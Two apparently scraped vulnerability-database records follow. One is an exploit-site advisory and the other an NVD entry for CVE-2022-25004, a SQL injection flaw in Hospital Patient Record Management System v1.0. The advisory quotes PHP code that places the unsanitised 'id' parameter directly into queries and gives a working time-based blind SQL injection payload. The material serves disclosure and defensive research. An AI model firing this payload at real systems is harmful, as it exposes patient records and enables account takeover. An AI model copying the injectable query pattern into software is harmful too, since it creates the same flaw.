{"id": "1337DAY-ID-37434", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "Hospital Patient Record Management System v1.0 SQL injection Vulnerability", "description": "", "published": "2022-03-01T00:00:00", "modified": "2022-03-01T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://0day.today/exploit/description/37434", "reporter": "nu11secur1ty", "references": [], "cvelist": ["CVE-2022-25004"], "immutableFields": [], "lastseen": "2022-03-03T19:42:41", "viewCount": 309, "enchantments": {"backreferences": {"references": [{"type": "cve", "idList": ["CVE-2022-25004"]}]}, "score": {"value": 0.6, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2022-25004"]}], "rev": 4}, "vulnersScore": 0.6}, "_state": {"dependencies": 1646781935, "score": 1659856991}, "_internal": {"score_hash": "e50480ab136a9af6cb432a61f0be5576"}, "sourceHref": "https://0day.today/exploit/37434", "sourceData": "## Title: Hospital Patient Record Management System v1.0 SQLi \n## Author: nu11secur1ty\n## Vendor: https://www.sourcecodester.com/users/tips23\n## Software: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-25004\n\n## Description:\nHospital Patient Record Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in /patients/view_patient.php.\nThe `id` parameter from Hospital Patient Record Management System v1.0 appears to be vulnerable to SQL injection attacks. \nThe attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.\n\nStatus: CRITICAL\n\n\n## Vulnerable code:\n\n```php\n<?php \nif(isset($_GET['id'])){\n $qry = $conn->query(\"SELECT * FROM `patient_list` where id = '{$_GET['id']}'\");\n if($qry->num_rows > 0){\n $res = $qry->fetch_array();\n foreach($res as $k => $v){\n if(!is_numeric($k))\n $$k = $v;\n }\n\n $details = $conn->query(\"SELECT * FROM `patient_details` where patient_id ='{$id}' \");\n while($row = $details->fetch_assoc()){\n ${$row['meta_field']} = $row['meta_value'];\n }\n }else{\n echo \"<script> alert('Unknown Patient ID.'); location.href = './?page=patients';</script>\";\n }\n}else{\n echo \"<script> alert('Patient ID is required.'); location.href = './?page=patients';</script>\";\n}\n\n$doctors_arr = [];\n$doctors_qry = $conn->query(\"SELECT * FROM `doctor_list` where id in (SELECT doctor_id FROM `patient_history` where patient_id ='{$id}') \");\nif($doctors_qry->num_rows > 0)\n$doctors_arr = array_column($doctors_qry->fetch_all(MYSQLI_ASSOC),'fullname','id');\n\n$room_arr = [];\n$room_qry = $conn->query(\"SELECT * FROM `room_list` where id in (SELECT room_id FROM `admission_history` where patient_id ='{$id}') \");\nif($room_qry->num_rows > 0)\n$room_arr = array_column($room_qry->fetch_all(MYSQLI_ASSOC),'name','id');\n?>\n```\n\n[+] Payloads:\n\n```mysql\n---\nParameter: id (GET)\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: id=1' AND (SELECT 4214 FROM (SELECT(SLEEP(5)))YwrA)-- gsSe&page=patients/view_patient\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-25004)\n\n## Proof and Exploit:\n[href](https://streamable.com/scki5d)\n\n", "category": "web applications", "verified": true}
{"cve": [{"lastseen": "2022-05-13T00:08:46", "description": "Hospital Patient Record Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in /admin/doctors/manage_doctor.php.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-24T19:15:00", "type": "cve", "title": "CVE-2022-25004", "cwe": ["CWE-89"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-25004"], "modified": "2022-05-12T19:35:00", "cpe": ["cpe:/a:hospital\\'s_patient_records_management_system_project:hospital\\'s_patient_records_management_system:1.0"], "id": "CVE-2022-25004", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-25004", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:hospital\\'s_patient_records_management_system_project:hospital\\'s_patient_records_management_system:1.0:*:*:*:*:*:*:*"]}]}